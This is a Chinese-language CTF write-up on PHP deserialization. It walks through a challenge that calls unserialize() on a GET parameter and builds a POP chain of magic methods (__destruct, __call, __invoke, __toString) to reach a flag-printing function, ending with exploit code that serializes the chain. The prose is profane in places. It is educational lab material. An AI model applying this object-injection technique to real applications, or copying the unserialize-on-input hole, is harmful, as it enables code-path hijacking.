序列化与反序列化
序列化是为了方便于数据的传输,形象化理解就像物流的过程。你想把一张桌子通过从a–>b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来(装的过程就是反序列化)。
PHP中的魔术方法
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
题目
<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT"); } } $a = $_GET['string']; unserialize($a); ?>
分析这道题目,我们需要执行GetFlag类里的 get_flag()函数 使得它输出flag的内容
但是要怎么执行get flag方法呢?
0X01
string1中的__tostring存在$this->str1->get_flag() 也就是他执行了get_flag()方法,这时就一脸懵逼了,我他妈string1哪来的get_flag()方法?
机智的我们就想到了 在类GETFLAG中假定与题目无关 我们执行他的get_flag()方法如下
$a=new GetFlag();
$a->get_flag();
所以我们只要把类string1中 $this->$str1 变成new GetFlag()即可 也就是给类string1的$str1赋值为 new GetFlag()
0X02
这时我们就知道了 只要让string1这个对象 属性str1 = new GetFlag() 然后执行tostring方法就可以拉!
要自动使用__tostring魔法函数 需要把string1当做字符串来使用
什么叫当做字符串使用呢?比如字符串拼接、输出等就是当作字符串使用。
我们可以发现类func中存在__invoke方法执行了字符串拼接!因为他告诉我们了!
$this->mod2 = "字符串拼接".$this->mod1;
所以当 执行$this->mod2这个操作时,假如$this->mod1的值相当于是对象string1怎么办呢
首先
1.给类func 的$mod1属性赋值 赋值什么呢 赋值成new string1()
2.通过手段调用了invoke方法(等下再收拾他!)
3.相当于执行了"字符串拼接".对象string1
4.这时对象string1心里不爽 草泥马敢把我当成字符串 日你哥 那我就要执行我的tostring方法了
5.tostring方法里继续执行 结果发现他的str1这个属性值是对象 getflag() 好好好 你他娘的给我直接用你的方法get_flag()
6.最终输出了flag的值
此时的流程为 __invoke-->(拼接字符串操作)-->被迫执行__tostring-->用对象getflag执行get_flag()-->输出flag
0X03
对POP链有了大致的印象 那就照猫画虎!
怎么执行__invoke?当脚本尝试将对象调用为函数时触发,什么叫做调用为函数触发?待我问问王哥。
当调用了对象后 然后对象名();就算是函数触发
比如 $北哥 = new 帅气的人();
此时北哥就是一个帅气的人对象
然后我直接 $北哥(); 就算是函数触发!
okok 找一下谁呢?啊找到了 原来是funt类
他的__call 方法里直接把s1当做函数运行 那么也就是 s1 =new func(); 此时s1相当于是一个对象func,当s1()这样一下子就会触发 它里面的魔法函数invoke 所以$this->mode1 == new func() 也就是$mode1 = new func()
0X04
再往上继续照猫画虎!!
__call() //在对象上下文中调用不可访问的方法时触发,也就是说 当我们执行
$a=new funct();$a->fuck();
这串代码执行的时候 会去a对象里找函数fuck()
但是没有找到fuck() a就说我草你他妈拿来的fuck() 没有对吧 那我只能_call一下了 这样就成功调用了_call魔法函数
往上有一个call 这个类
$this->mod1->test2()
这里通过方法test1()执行了这个操作 当$this->mod1 = 对象funct 会去执行test2()函数,函数无法调用 ok 那我就_call 所以此时 $mod1属性值的内容为 对象 funct 也就是 new funct()
同理 test1()怎么来? stat_gg给你安排了 因为只要这个类一出现销毁 就会自动运行函数__destruct 也就是他娘的自己出来就要跑
他一跑 就要执行$this->mod1->test1()操作 好啊 给你个有test1() 函数方法的 类call 总行了吧!
最终的链条如下
1.类stat_gg(此时他的mod1属性值被我赋值为new call() 也就是对象call) 自动运行__destruct魔法函数
2.此时执行 对象call()->test1() 而此时对象call()的$mod1属性被我赋值为对象funct
3.test1()函数会调用方法 对象funct->test2()
4.纳尼?funct里哪来的test2() ? 那我要运行__call魔法函数了哦!并且这时funct函数里的mod1属性赋值为对象func
5.调用方法 对象func() 然后函数执行一下
6.卧槽尼玛 老子怎么被函数执行了一下?那我就要用invoke方法了!此时func对象里 mod1属性值为 对象string1
7.invoke里 直接字符串拼接对象 string1和字符串 草泥马老子敢和字符串拼接 那我就要__tostring了!此时对象string1的str1属性值为对象getflag
8.ok __tostring方法里 调用方法 对象getflag()->get_flag() 对象getflag里恰好有方法get_flag() 那就运行!
9.最终输出flag的值
ok 以上就是完整步骤 怎么让pop链运行起来呢?
这里 任何一个对对象实例化的操作都会执行销毁 也就是都会调用destruct函数
于是编写exp:
<?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1 = new Call();//把$mod1赋值为Call类对象 } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1 = new funct();//把 $mod1赋值为funct类对象 } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func();//把 $mod1赋值为func类对象 } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1();//把 $mod1赋值为string1类对象 } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public function __construct() { $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象 } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $b = new start_gg;//构造start_gg类对象$b echo serialize($b);
把输出结果传值到 string参数里 成功执行了get_flag()方法